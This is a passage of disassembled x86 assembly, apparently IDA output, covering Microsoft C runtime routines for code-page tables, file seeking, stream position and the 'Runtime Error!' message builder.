sub_41D1D5:loc_41D34Ap push edi push 40h xor eax, eax pop ecx mov edi, offset byte_481720 rep stosd stosb xor eax, eax mov dword_481824, eax mov dword_481708, eax mov dword_481700, eax mov edi, offset word_481830 stosd stosd stosd pop edi retn sub_41CFAB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CFD4 proc near ; CODE XREF: sub_41D1D5:loc_41D34Fp var_518 = word ptr -518h var_318 = byte ptr -318h var_218 = byte ptr -218h var_118 = byte ptr -118h var_18 = byte ptr -18h var_12 = byte ptr -12h var_11 = byte ptr -11h var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 518h mov eax, dword_432A68 xor eax, [ebp+4] push esi mov [ebp+var_4], eax lea eax, [ebp+var_18] push eax push dword_481824 call dword_4221B4 ; GetCPInfo cmp eax, 1 mov esi, 100h jnz loc_41D114 xor eax, eax loc_41D009: ; CODE XREF: sub_41CFD4+3Fj mov [ebp+eax+var_118], al inc eax cmp eax, esi jb short loc_41D009 mov al, [ebp+var_12] test al, al mov [ebp+var_118], 20h jz short loc_41D059 push ebx lea edx, [ebp+var_11] push edi loc_41D028: ; CODE XREF: sub_41CFD4+81j movzx ecx, byte ptr [edx] movzx eax, al cmp eax, ecx ja short loc_41D04F sub ecx, eax inc ecx mov ebx, ecx shr ecx, 2 lea edi, [ebp+eax+var_118] mov eax, 20202020h rep stosd mov ecx, ebx and ecx, 3 rep stosb loc_41D04F: ; CODE XREF: sub_41CFD4+5Cj inc edx mov al, [edx] inc edx test al, al jnz short loc_41D028 pop edi pop ebx loc_41D059: ; CODE XREF: sub_41CFD4+4Dj push 0 push dword_481700 lea eax, [ebp+var_518] push dword_481824 push eax push esi lea eax, [ebp+var_118] push eax push 1 call sub_41E950 push 0 push dword_481824 lea eax, [ebp+var_218] push esi push eax push esi lea eax, [ebp+var_118] push eax push esi push dword_481700 call sub_41C1A9 push 0 push dword_481824 lea eax, [ebp+var_318] push esi push eax push esi lea eax, [ebp+var_118] push eax push 200h push dword_481700 call sub_41C1A9 add esp, 5Ch xor eax, eax loc_41D0CE: ; CODE XREF: sub_41CFD4+13Cj mov cx, [ebp+eax*2+var_518] test cl, 1 jz short loc_41D0F1 or byte_481721[eax], 10h mov cl, [ebp+eax+var_218] loc_41D0E9: ; CODE XREF: sub_41CFD4+130j mov byte_481840[eax], cl jmp short loc_41D10D ; --------------------------------------------------------------------------- loc_41D0F1: ; CODE XREF: sub_41CFD4+105j test cl, 2 jz short loc_41D106 or byte_481721[eax], 20h mov cl, [ebp+eax+var_318] jmp short loc_41D0E9 ; --------------------------------------------------------------------------- loc_41D106: ; CODE XREF: sub_41CFD4+120j and byte_481840[eax], 0 loc_41D10D: ; CODE XREF: sub_41CFD4+11Bj inc eax cmp eax, esi jb short loc_41D0CE jmp short loc_41D158 ; --------------------------------------------------------------------------- loc_41D114: ; CODE XREF: sub_41CFD4+2Dj xor eax, eax loc_41D116: ; CODE XREF: sub_41CFD4+182j cmp eax, 41h jb short loc_41D134 cmp eax, 5Ah ja short loc_41D134 or byte_481721[eax], 10h mov cl, al add cl, 20h loc_41D12C: ; CODE XREF: sub_41CFD4+176j mov byte_481840[eax], cl jmp short loc_41D153 ; --------------------------------------------------------------------------- loc_41D134: ; CODE XREF: sub_41CFD4+145j ; sub_41CFD4+14Aj cmp eax, 61h jb short loc_41D14C cmp eax, 7Ah ja short loc_41D14C or byte_481721[eax], 20h mov cl, al sub cl, 20h jmp short loc_41D12C ; --------------------------------------------------------------------------- loc_41D14C: ; CODE XREF: sub_41CFD4+163j ; sub_41CFD4+168j and byte_481840[eax], 0 loc_41D153: ; CODE XREF: sub_41CFD4+15Ej inc eax cmp eax, esi jb short loc_41D116 loc_41D158: ; CODE XREF: sub_41CFD4+13Ej mov ecx, [ebp+var_4] xor ecx, [ebp+4] pop esi call sub_41C596 leave retn sub_41CFD4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D166 proc near ; CODE XREF: sub_41D4D9+1Ap var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h push 10h push offset stru_42C608 call __SEH_prolog push 0Dh call sub_41A1D6 pop ecx and [ebp+ms_exc.disabled], 0 call sub_4191CF mov edi, eax mov [ebp+var_1C], edi mov esi, [edi+60h] mov [ebp+var_20], esi cmp esi, dword_481704 jz short loc_41D1B8 test esi, esi jz short loc_41D1A5 dec dword ptr [esi] jnz short loc_41D1A5 push esi call sub_416D07 pop ecx loc_41D1A5: ; CODE XREF: sub_41D166+32j ; sub_41D166+36j mov eax, dword_481704 mov [edi+60h], eax mov esi, dword_481704 mov [ebp+var_20], esi inc dword ptr [esi] loc_41D1B8: ; CODE XREF: sub_41D166+2Ej or [ebp+ms_exc.disabled], 0FFFFFFFFh call sub_41D1CC mov eax, esi call __SEH_epilog retn sub_41D166 endp ; =============== S U B R O U T I N E ======================================= sub_41D1C9 proc near ; DATA XREF: .text:stru_42C608o mov esi, [ebp-20h] sub_41D1C9 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41D1CC proc near ; CODE XREF: sub_41D166+56p push 0Dh call sub_41A142 pop ecx retn sub_41D1CC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D1D5 proc near ; CODE XREF: sub_41D36B+9Fp var_1C = dword ptr -1Ch var_16 = byte ptr -16h var_15 = byte ptr -15h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1Ch mov eax, dword_432A68 xor eax, [ebp+4] push ebx push esi mov esi, [ebp+arg_0] xor ebx, ebx cmp esi, ebx mov [ebp+var_4], eax push edi jz loc_41D34A xor edx, edx xor eax, eax loc_41D1FA: ; CODE XREF: sub_41D1D5+36j cmp dword_432A88[eax], esi jz short loc_41D267 add eax, 30h inc edx cmp eax, 0F0h jb short loc_41D1FA lea eax, [ebp+var_1C] push eax push esi call dword_4221B4 ; GetCPInfo cmp eax, 1 jnz loc_41D342 push 40h xor eax, eax cmp [ebp+var_1C], 1 pop ecx mov edi, offset byte_481720 rep stosd stosb mov dword_481824, esi mov dword_481700, ebx jbe loc_41D330 cmp [ebp+var_16], 0 jz loc_41D308 lea ecx, [ebp+var_15] loc_41D251: ; CODE XREF: sub_41D1D5+12Dj mov dl, [ecx] test dl, dl jz loc_41D308 movzx eax, byte ptr [ecx-1] movzx edx, dl jmp loc_41D2F8 ; --------------------------------------------------------------------------- loc_41D267: ; CODE XREF: sub_41D1D5+2Bj push 40h xor eax, eax pop ecx mov edi, offset byte_481720 rep stosd lea ecx, [edx+edx*2] shl ecx, 4 mov [ebp+var_8], ebx stosb lea ebx, dword_432A98[ecx] loc_41D283: ; CODE XREF: sub_41D1D5+EBj mov al, [ebx] mov esi, ebx jmp short loc_41D2B2 ; --------------------------------------------------------------------------- loc_41D289: ; CODE XREF: sub_41D1D5+DFj mov dl, [esi+1] test dl, dl jz short loc_41D2B6 movzx eax, al movzx edi, dl cmp eax, edi ja short loc_41D2AE mov edx, [ebp+var_8] mov dl, byte_432A80[edx] loc_41D2A3: ; CODE XREF: sub_41D1D5+D7j or byte_481721[eax], dl inc eax cmp eax, edi jbe short loc_41D2A3 loc_41D2AE: ; CODE XREF: sub_41D1D5+C3j inc esi inc esi mov al, [esi] loc_41D2B2: ; CODE XREF: sub_41D1D5+B2j test al, al jnz short loc_41D289 loc_41D2B6: ; CODE XREF: sub_41D1D5+B9j inc [ebp+var_8] add ebx, 8 cmp [ebp+var_8], 4 jb short loc_41D283 mov eax, [ebp+arg_0] mov dword_481824, eax mov dword_481708, 1 call sub_41CF7C lea ecx, dword_432A8C[ecx] mov esi, ecx mov edi, offset word_481830 movsd movsd mov dword_481700, eax movsd jmp short loc_41D34F ; --------------------------------------------------------------------------- loc_41D2F0: ; CODE XREF: sub_41D1D5+125j or byte_481721[eax], 4 inc eax loc_41D2F8: ; CODE XREF: sub_41D1D5+8Dj cmp eax, edx jbe short loc_41D2F0 inc ecx inc ecx cmp byte ptr [ecx-1], 0 jnz loc_41D251 loc_41D308: ; CODE XREF: sub_41D1D5+73j ; sub_41D1D5+80j xor ecx, ecx inc ecx mov eax, ecx loc_41D30D: ; CODE XREF: sub_41D1D5+145j or byte_481721[eax], 8 inc eax cmp eax, 0FFh jb short loc_41D30D mov eax, esi call sub_41CF7C mov dword_481700, eax mov dword_481708, ecx jmp short loc_41D336 ; --------------------------------------------------------------------------- loc_41D330: ; CODE XREF: sub_41D1D5+69j mov dword_481708, ebx loc_41D336: ; CODE XREF: sub_41D1D5+159j xor eax, eax mov edi, offset word_481830 stosd stosd stosd jmp short loc_41D34F ; --------------------------------------------------------------------------- loc_41D342: ; CODE XREF: sub_41D1D5+46j cmp dword_481348, ebx jz short loc_41D358 loc_41D34A: ; CODE XREF: sub_41D1D5+1Bj call sub_41CFAB loc_41D34F: ; CODE XREF: sub_41D1D5+119j ; sub_41D1D5+16Bj call sub_41CFD4 xor eax, eax jmp short loc_41D35B ; --------------------------------------------------------------------------- loc_41D358: ; CODE XREF: sub_41D1D5+173j or eax, 0FFFFFFFFh loc_41D35B: ; CODE XREF: sub_41D1D5+181j mov ecx, [ebp+var_4] xor ecx, [ebp+4] pop edi pop esi pop ebx call sub_41C596 leave retn sub_41D1D5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D36B proc near ; CODE XREF: sub_41D4BB+Bp var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 push 14h push offset stru_42C618 call __SEH_prolog or [ebp+var_1C], 0FFFFFFFFh push 0Dh call sub_41A1D6 pop ecx xor edi, edi mov [ebp+ms_exc.disabled], edi mov dword_481348, edi mov eax, [ebp+arg_0] cmp eax, 0FFFFFFFEh jnz short loc_41D3A8 mov dword_481348, 1 call dword_4221B0 ; GetOEMCP jmp short loc_41D3D3 ; --------------------------------------------------------------------------- loc_41D3A8: ; CODE XREF: sub_41D36B+29j cmp eax, 0FFFFFFFDh jnz short loc_41D3BF mov dword_481348, 1 call dword_4221AC ; GetACP jmp short loc_41D3D3 ; --------------------------------------------------------------------------- loc_41D3BF: ; CODE XREF: sub_41D36B+40j cmp eax, 0FFFFFFFCh jnz short loc_41D3D3 mov dword_481348, 1 mov eax, dword_4814A8 loc_41D3D3: ; CODE XREF: sub_41D36B+3Bj ; sub_41D36B+52j ... mov [ebp+arg_0], eax cmp eax, dword_481824 jz loc_41D49D mov esi, dword_481704 mov [ebp+var_20], esi cmp esi, edi jz short loc_41D3F3 cmp [esi], edi jz short loc_41D403 loc_41D3F3: ; CODE XREF: sub_41D36B+82j push 220h call sub_416E1F pop ecx mov esi, eax mov [ebp+var_20], esi loc_41D403: ; CODE XREF: sub_41D36B+86j cmp esi, edi jz short loc_41D486 push [ebp+arg_0] call sub_41D1D5 pop ecx mov [ebp+var_1C], eax cmp eax, edi jnz short loc_41D486 mov [esi], edi mov eax, dword_481824 mov [esi+4], eax mov eax, dword_481708 mov [esi+8], eax mov eax, dword_481700 mov [esi+0Ch], eax xor eax, eax loc_41D433: ; CODE XREF: sub_41D36B+DEj mov [ebp+var_24], eax cmp eax, 5 jge short loc_41D44B mov cx, word_481830[eax*2] mov [esi+eax*2+10h], cx inc eax jmp short loc_41D433 ; --------------------------------------------------------------------------- loc_41D44B: ; CODE XREF: sub_41D36B+CEj xor eax, eax loc_41D44D: ; CODE XREF: sub_41D36B+F7j mov [ebp+var_24], eax cmp eax, 101h jge short loc_41D464 mov cl, byte_481720[eax] mov [eax+esi+1Ch], cl inc eax jmp short loc_41D44D ; --------------------------------------------------------------------------- loc_41D464: ; CODE XREF: sub_41D36B+EAj xor eax, eax loc_41D466: ; CODE XREF: sub_41D36B+113j mov [ebp+var_24], eax cmp eax, 100h jge short loc_41D480 mov cl, byte_481840[eax] mov [eax+esi+11Dh], cl inc eax jmp short loc_41D466 ; --------------------------------------------------------------------------- loc_41D480: ; CODE XREF: sub_41D36B+103j mov dword_481704, esi loc_41D486: ; CODE XREF: sub_41D36B+9Aj ; sub_41D36B+AAj cmp [ebp+var_1C], 0FFFFFFFFh jnz short loc_41D4A0 cmp esi, dword_481704 jz short loc_41D4A0 push esi call sub_416D07 pop ecx jmp short loc_41D4A0 ; --------------------------------------------------------------------------- loc_41D49D: ; CODE XREF: sub_41D36B+71j mov [ebp+var_1C], edi loc_41D4A0: ; CODE XREF: sub_41D36B+11Fj ; sub_41D36B+127j ... or [ebp+ms_exc.disabled], 0FFFFFFFFh call sub_41D4B2 mov eax, [ebp+var_1C] call __SEH_epilog retn sub_41D36B endp ; =============== S U B R O U T I N E ======================================= sub_41D4B2 proc near ; CODE XREF: sub_41D36B+139p ; DATA XREF: .text:stru_42C618o push 0Dh call sub_41A142 pop ecx retn sub_41D4B2 endp ; =============== S U B R O U T I N E ======================================= sub_41D4BB proc near ; CODE XREF: sub_41DC7B+9p ; sub_41DCE4+Dp ... cmp dword_482998, 0 jnz short loc_41D4D6 push 0FFFFFFFDh call sub_41D36B pop ecx mov dword_482998, 1 loc_41D4D6: ; CODE XREF: sub_41D4BB+7j xor eax, eax retn sub_41D4BB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D4D9 proc near ; CODE XREF: sub_41809F+2Cp ; sub_41809F+A7p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi mov edi, [ebp+arg_0] mov [ebp+arg_0], edi call sub_4191CF mov eax, [eax+60h] cmp eax, dword_481704 jz short loc_41D4F8 call sub_41D166 loc_41D4F8: ; CODE XREF: sub_41D4D9+18j cmp dword ptr [eax+8], 0 jnz short loc_41D50F push [ebp+arg_8] push [ebp+arg_4] push edi call sub_416A00 add esp, 0Ch jmp short loc_41D557 ; --------------------------------------------------------------------------- loc_41D50F: ; CODE XREF: sub_41D4D9+23j mov ecx, [ebp+arg_8] test ecx, ecx jz short loc_41D554 push ebx push esi mov esi, [ebp+arg_4] loc_41D51B: ; CODE XREF: sub_41D4D9+89j mov dl, [esi] movzx ebx, dl dec ecx test byte ptr [ebx+eax+1Dh], 4 mov [edi], dl jz short loc_41D55A inc edi inc esi test ecx, ecx jz short loc_41D566 mov dl, [esi] dec ecx mov [edi], dl inc edi inc esi test dl, dl jnz short loc_41D560 and [edi-2], dl loc_41D53E: ; CODE XREF: sub_41D4D9+85j test ecx, ecx jz short loc_41D552 mov edx, ecx shr ecx, 2 xor eax, eax rep stosd mov ecx, edx and ecx, 3 rep stosb loc_41D552: ; CODE XREF: sub_41D4D9+67j ; sub_41D4D9+8Bj ... pop esi pop ebx loc_41D554: ; CODE XREF: sub_41D4D9+3Bj mov eax, [ebp+arg_0] loc_41D557: ; CODE XREF: sub_41D4D9+34j pop edi pop ebp retn ; --------------------------------------------------------------------------- loc_41D55A: ; CODE XREF: sub_41D4D9+4Fj inc edi inc esi test dl, dl jz short loc_41D53E loc_41D560: ; CODE XREF: sub_41D4D9+60j test ecx, ecx jnz short loc_41D51B jmp short loc_41D552 ; --------------------------------------------------------------------------- loc_41D566: ; CODE XREF: sub_41D4D9+55j and byte ptr [edi-1], 0 jmp short loc_41D552 sub_41D4D9 endp ; =============== S U B R O U T I N E ======================================= sub_41D56C proc near ; CODE XREF: sub_41D614+18p push esi push dword_482994 call sub_420775 pop ecx mov ecx, dword_482990 mov esi, eax mov eax, dword_482994 mov edx, ecx sub edx, eax add edx, 4 cmp esi, edx jnb short loc_41D5DF mov ecx, 800h cmp esi, ecx jnb short loc_41D59C mov ecx, esi loc_41D59C: ; CODE XREF: sub_41D56C+2Cj add ecx, esi push ecx push eax call sub_417003 test eax, eax pop ecx pop ecx jnz short loc_41D5C2 add esi, 10h push esi push dword_482994 call sub_417003 test eax, eax pop ecx pop ecx jnz short loc_41D5C2 pop esi retn ; --------------------------------------------------------------------------- loc_41D5C2: ; CODE XREF: sub_41D56C+3Dj ; sub_41D56C+52j mov ecx, dword_482990 sub ecx, dword_482994 mov dword_482994, eax sar ecx, 2 lea ecx, [eax+ecx*4] mov dword_482990, ecx loc_41D5DF: ; CODE XREF: sub_41D56C+23j mov [ecx], edi add dword_482990, 4 mov eax, edi pop esi retn sub_41D56C endp ; =============== S U B R O U T I N E ======================================= sub_41D5EC proc near ; DATA XREF: .text:0042E018o push 80h call sub_416E1F test eax, eax pop ecx mov dword_482994, eax jnz short loc_41D604 push 18h pop eax retn ; --------------------------------------------------------------------------- loc_41D604: ; CODE XREF: sub_41D5EC+12j and dword ptr [eax], 0 mov eax, dword_482994 mov dword_482990, eax xor eax, eax retn sub_41D5EC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D614 proc near ; CODE XREF: sub_41D64C+4p var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 push 0Ch push offset stru_42C628 call __SEH_prolog call loc_4182D9 and [ebp+ms_exc.disabled], 0 mov edi, [ebp+arg_0] call sub_41D56C mov [ebp+var_1C], eax or [ebp+ms_exc.disabled], 0FFFFFFFFh call sub_41D646 mov eax, [ebp+var_1C] call __SEH_epilog retn sub_41D614 endp ; =============== S U B R O U T I N E ======================================= sub_41D646 proc near ; CODE XREF: sub_41D614+24p ; DATA XREF: .text:stru_42C628o call sub_4182E2 retn sub_41D646 endp ; =============== S U B R O U T I N E ======================================= sub_41D64C proc near ; CODE XREF: sub_4182EB+3Bp arg_0 = dword ptr 4 push [esp+arg_0] call sub_41D614 neg eax sbb eax, eax neg eax pop ecx dec eax retn sub_41D64C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D65E proc near ; CODE XREF: .text:loc_41878Fp var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h push 0Ch push offset stru_42C638 call __SEH_prolog mov [ebp+var_1C], offset dword_42CE4C loc_41D671: ; CODE XREF: sub_41D65E+3Cj cmp [ebp+var_1C], offset dword_42CE4C jnb short loc_41D69C and [ebp+ms_exc.disabled], 0 mov eax, [ebp+var_1C] mov eax, [eax] test eax, eax jz short loc_41D692 call eax jmp short loc_41D692 ; --------------------------------------------------------------------------- loc_41D68B: ; DATA XREF: .text:stru_42C638o xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_41D68F: ; DATA XREF: .text:stru_42C638o mov esp, [ebp+ms_exc.old_esp] loc_41D692: ; CODE XREF: sub_41D65E+27j ; sub_41D65E+2Bj or [ebp+ms_exc.disabled], 0FFFFFFFFh add [ebp+var_1C], 4 jmp short loc_41D671 ; --------------------------------------------------------------------------- loc_41D69C: ; CODE XREF: sub_41D65E+1Aj call __SEH_epilog retn sub_41D65E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D6A2 proc near ; DATA XREF: sub_4182EB:loc_418321o var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h push 0Ch push offset stru_42C648 call __SEH_prolog mov [ebp+var_1C], offset dword_42CE54 loc_41D6B5: ; CODE XREF: sub_41D6A2+3Cj cmp [ebp+var_1C], offset dword_42CE54 jnb short loc_41D6E0 and [ebp+ms_exc.disabled], 0 mov eax, [ebp+var_1C] mov eax, [eax] test eax, eax jz short loc_41D6D6 call eax jmp short loc_41D6D6 ; --------------------------------------------------------------------------- loc_41D6CF: ; DATA XREF: .text:stru_42C648o xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_41D6D3: ; DATA XREF: .text:stru_42C648o mov esp, [ebp+ms_exc.old_esp] loc_41D6D6: ; CODE XREF: sub_41D6A2+27j ; sub_41D6A2+2Bj or [ebp+ms_exc.disabled], 0FFFFFFFFh add [ebp+var_1C], 4 jmp short loc_41D6B5 ; --------------------------------------------------------------------------- loc_41D6E0: ; CODE XREF: sub_41D6A2+1Aj call __SEH_epilog retn sub_41D6A2 endp ; =============== S U B R O U T I N E ======================================= sub_41D6E6 proc near ; CODE XREF: sub_41B287+18Bp ; sub_41D75A+52p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_0] push esi call sub_41F57B cmp eax, 0FFFFFFFFh pop ecx jnz short loc_41D707 call sub_41B9A5 mov dword ptr [eax], 9 or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_41D707: ; CODE XREF: sub_41D6E6+Fj push edi push [esp+8+arg_8] push 0 push [esp+10h+arg_4] push eax call dword_422090 ; SetFilePointer mov edi, eax cmp edi, 0FFFFFFFFh jnz short loc_41D728 call dword_422008 ; RtlGetLastWin32Error jmp short loc_41D72A ; --------------------------------------------------------------------------- loc_41D728: ; CODE XREF: sub_41D6E6+38j xor eax, eax loc_41D72A: ; CODE XREF: sub_41D6E6+40j test eax, eax jz short loc_41D73A push eax call sub_41B9B7 pop ecx or eax, 0FFFFFFFFh jmp short loc_41D757 ; --------------------------------------------------------------------------- loc_41D73A: ; CODE XREF: sub_41D6E6+46j mov ecx, esi and esi, 1Fh sar ecx, 5 mov ecx, dword_481600[ecx*4] mov eax, esi lea eax, [eax+eax*8] lea eax, [ecx+eax*4+4] and byte ptr [eax], 0FDh mov eax, edi loc_41D757: ; CODE XREF: sub_41D6E6+52j pop edi pop esi retn sub_41D6E6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D75A proc near ; CODE XREF: sub_418558+69p ; sub_418875+D0p ... var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h ; FUNCTION CHUNK AT 0041D7E9 SIZE 0000001C BYTES push 0Ch push offset stru_42C658 call __SEH_prolog mov ebx, [ebp+arg_0] cmp ebx, dword_4815F0 jnb short loc_41D7E9 mov eax, ebx sar eax, 5 lea edi, ds:481600h[eax*4] mov eax, ebx and eax, 1Fh lea esi, [eax+eax*8] shl esi, 2 mov eax, [edi] test byte ptr [eax+esi+4], 1 jz short loc_41D7E9 push ebx call sub_41F5BC pop ecx and [ebp+ms_exc.disabled], 0 mov eax, [edi] test byte ptr [eax+esi+4], 1 jz short loc_41D7B9 push [ebp+arg_8] push [ebp+arg_4] push ebx call sub_41D6E6 add esp, 0Ch mov [ebp+var_1C], eax jmp short loc_41D7D0 ; --------------------------------------------------------------------------- loc_41D7B9: ; CODE XREF: sub_41D75A+49j call sub_41B9A5 mov dword ptr [eax], 9 call sub_41B9AE and dword ptr [eax], 0 or [ebp+var_1C], 0FFFFFFFFh loc_41D7D0: ; CODE XREF: sub_41D75A+5Dj or [ebp+ms_exc.disabled], 0FFFFFFFFh call sub_41D7E1 mov eax, [ebp+var_1C] jmp short loc_41D7FF sub_41D75A endp ; =============== S U B R O U T I N E ======================================= sub_41D7DE proc near ; DATA XREF: .text:stru_42C658o mov ebx, [ebp+8] sub_41D7DE endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41D7E1 proc near ; CODE XREF: sub_41D75A+7Ap push ebx call sub_41F62F pop ecx retn sub_41D7E1 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41D75A loc_41D7E9: ; CODE XREF: sub_41D75A+15j ; sub_41D75A+35j call sub_41B9A5 mov dword ptr [eax], 9 call sub_41B9AE and dword ptr [eax], 0 or eax, 0FFFFFFFFh loc_41D7FF: ; CODE XREF: sub_41D75A+82j call __SEH_epilog retn ; END OF FUNCTION CHUNK FOR sub_41D75A ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D805 proc near ; CODE XREF: sub_418558+2Bp var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+arg_0] mov esi, [edi+10h] xor ebx, ebx cmp [edi+4], ebx mov [ebp+var_C], esi jge short loc_41D821 mov [edi+4], ebx loc_41D821: ; CODE XREF: sub_41D805+17j push 1 push ebx push esi call sub_41D75A add esp, 0Ch cmp eax, ebx mov [ebp+var_4], eax jl short loc_41D8A2 mov ecx, [edi+0Ch] test cx, 108h jnz short loc_41D846 sub eax, [edi+4] jmp loc_41D962 ; --------------------------------------------------------------------------- loc_41D846: ; CODE XREF: sub_41D805+37j mov eax, [edi] mov edx, [edi+8] mov ebx, eax sub ebx, edx test cl, 3 mov [ebp+var_8], ebx jz short loc_41D893 mov ebx, esi mov ecx, esi sar ebx, 5 mov ebx, dword_481600[ebx*4] and ecx, 1Fh lea ecx, [ecx+ecx*8] test byte ptr [ebx+ecx*4+4], 80h jz short loc_41D885 mov ecx, edx cmp ecx, eax jnb short loc_41D885 loc_41D878: ; CODE XREF: sub_41D805+7Ej cmp byte ptr [ecx], 0Ah jnz short loc_41D880 inc [ebp+var_8] loc_41D880: ; CODE XREF: sub_41D805+76j inc ecx cmp ecx, [edi] jb short loc_41D878 loc_41D885: ; CODE XREF: sub_41D805+6Bj ; sub_41D805+71j ... cmp [ebp+var_4], 0 jnz short loc_41D8AA mov eax, [ebp+var_8] jmp loc_41D962 ; --------------------------------------------------------------------------- loc_41D893: ; CODE XREF: sub_41D805+50j test cl, cl js short loc_41D885 call sub_41B9A5 mov dword ptr [eax], 16h loc_41D8A2: ; CODE XREF: sub_41D805+2Dj or eax, 0FFFFFFFFh jmp loc_41D962 ; --------------------------------------------------------------------------- loc_41D8AA: ; CODE XREF: sub_41D805+84j test byte ptr [edi+0Ch], 1 jz loc_41D95A mov ecx, [edi+4] test ecx, ecx jnz short loc_41D8C3 and [ebp+var_8], ecx jmp loc_41D95A ; --------------------------------------------------------------------------- loc_41D8C3: ; CODE XREF: sub_41D805+B4j sub eax, edx add eax, ecx mov [ebp+arg_0], eax mov eax, esi sar eax, 5 lea ebx, ds:481600h[eax*4] mov eax, esi and eax, 1Fh lea esi, [eax+eax*8] mov eax, [ebx] shl esi, 2 test byte ptr [esi+eax+4], 80h jz short loc_41D954 push 2 push 0 push [ebp+var_C] call sub_41D75A add esp, 0Ch cmp eax, [ebp+var_4] jnz short loc_41D91B mov eax, [edi+8] mov ecx, [ebp+arg_0] add ecx, eax jmp short loc_41D911 ; --------------------------------------------------------------------------- loc_41D908: ; CODE XREF: sub_41D805+10Ej cmp byte ptr [eax], 0Ah jnz short loc_41D910 inc [ebp+arg_0] loc_41D910: ; CODE XREF: sub_41D805+106j inc eax loc_41D911: ; CODE XREF: sub_41D805+101j cmp eax, ecx jb short loc_41D908 test byte ptr [edi+0Dh], 20h jmp short loc_41D94F ; --------------------------------------------------------------------------- loc_41D91B: ; CODE XREF: sub_41D805+F7j push 0 push [ebp+var_4] push [ebp+var_C] call sub_41D75A mov eax, 200h add esp, 0Ch cmp [ebp+arg_0], eax ja short loc_41D942 mov ecx, [edi+0Ch] test cl, 8 jz short loc_41D942 test ch, 4 jz short loc_41D945 loc_41D942: ; CODE XREF: sub_41D805+12Ej ; sub_41D805+136j mov eax, [edi+18h] loc_41D945: ; CODE XREF: sub_41D805+13Bj mov [ebp+arg_0], eax mov eax, [ebx] test byte ptr [esi+eax+4], 4 loc_41D94F: ; CODE XREF: sub_41D805+114j jz short loc_41D954 inc [ebp+arg_0] loc_41D954: ; CODE XREF: sub_41D805+E3j ; sub_41D805:loc_41D94Fj mov eax, [ebp+arg_0] sub [ebp+var_4], eax loc_41D95A: ; CODE XREF: sub_41D805+A9j ; sub_41D805+B9j mov eax, [ebp+var_8] mov ecx, [ebp+var_4] add eax, ecx loc_41D962: ; CODE XREF: sub_41D805+3Cj ; sub_41D805+89j ... pop edi pop esi pop ebx leave retn sub_41D805 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D967 proc near ; CODE XREF: sub_41865A+12p ; sub_41867F+12p ... var_10C = byte ptr -10Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10Ch mov eax, dword_432A68 xor eax, [ebp+4] mov ecx, [ebp+arg_0] push ebx push esi mov [ebp+var_4], eax xor edx, edx push edi xor eax, eax loc_41D985: ; CODE XREF: sub_41D967+2Bj cmp ecx, dword_432B78[eax*8] jz short loc_41D994 inc eax cmp eax, 12h jb short loc_41D985 loc_41D994: ; CODE XREF: sub_41D967+25j mov esi, eax shl esi, 3 cmp ecx, dword_432B78[esi] jnz loc_41DAC8 mov eax, dword_4811D0 cmp eax, 1 jz loc_41DAA3 cmp eax, edx jnz short loc_41D9C4 cmp dword_432384, 1 jz loc_41DAA3 loc_41D9C4: ; CODE XREF: sub_41D967+4Ej cmp ecx, 0FCh jz loc_41DAC8 push 104h lea eax, [ebp+var_10C] push eax push edx mov [ebp+var_8], dl call dword_422010 ; GetModuleFileNameA test eax, eax jnz short loc_41D9FD lea eax, [ebp+var_10C] push offset aProgramNameUnk ; "<program name unknown>" push eax call sub_41BFE0 pop ecx pop ecx loc_41D9FD: ; CODE XREF: sub_41D967+81j lea eax, [ebp+var_10C] push eax lea edi, [ebp+var_10C] call sub_419D70 inc eax cmp eax, 3Ch pop ecx jbe short loc_41DA3F lea eax, [ebp+var_10C] push eax call sub_419D70 mov edi, eax lea eax, [ebp+var_10C] sub eax, 3Bh push 3 add edi, eax push offset a___ ; "..." push edi call sub_416A00 add esp, 10h loc_41DA3F: ; CODE XREF: sub_41D967+ADj push edi call sub_419D70 push off_432B7C[esi] mov ebx, eax call sub_419D70 lea eax, [ebx+eax+1Ch] pop ecx add eax, 3 pop ecx and eax, 0FFFFFFFCh call sub_416B90 mov ebx, esp push offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: " push ebx call sub_41BFE0 